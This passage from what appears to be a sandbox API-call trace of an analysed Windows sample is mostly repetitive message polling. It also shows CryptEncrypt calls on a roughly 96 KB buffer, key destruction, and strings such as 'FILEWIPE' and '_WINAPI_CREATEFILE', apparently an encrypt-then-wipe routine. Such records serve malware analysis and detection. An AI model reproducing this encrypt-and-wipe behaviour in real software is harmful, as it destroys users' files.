lpMsg=0xe8f3dfee40) returned 0 [0022.389] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.389] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.389] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.390] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.390] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.390] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.390] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.390] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.391] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.391] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.391] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.391] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.391] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.391] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.391] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.391] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.392] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.392] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.392] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.392] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.393] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.393] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17a11, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17a20) returned 1 [0022.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.393] CharLowerBuffW (in: lpsz="byte[96801]", cchLength=0xb | out: lpsz="byte[96801]") returned 0xb [0022.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.395] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.395] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.395] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.396] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.396] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4207830*, pdwDataLen=0xe8f3dfdf68*=0x17a11, dwBufLen=0x17a20 | out: pbData=0xe8f4207830*, pdwDataLen=0xe8f3dfdf68*=0x17a20) returned 1 [0022.396] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.396] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.396] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.397] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.397] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.397] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.397] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.401] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.401] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.401] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.402] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.402] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.402] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.402] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.402] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.403] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.403] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.403] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.403] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.403] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.403] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.404] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.404] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.404] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.404] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0022.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.404] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.404] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.405] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.405] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.407] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.407] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.407] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.407] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.407] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.407] CharLowerBuffW (in: lpsz="byte[96785]", cchLength=0xb | out: lpsz="byte[96785]") returned 0xb [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.409] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.409] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.409] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfee40, 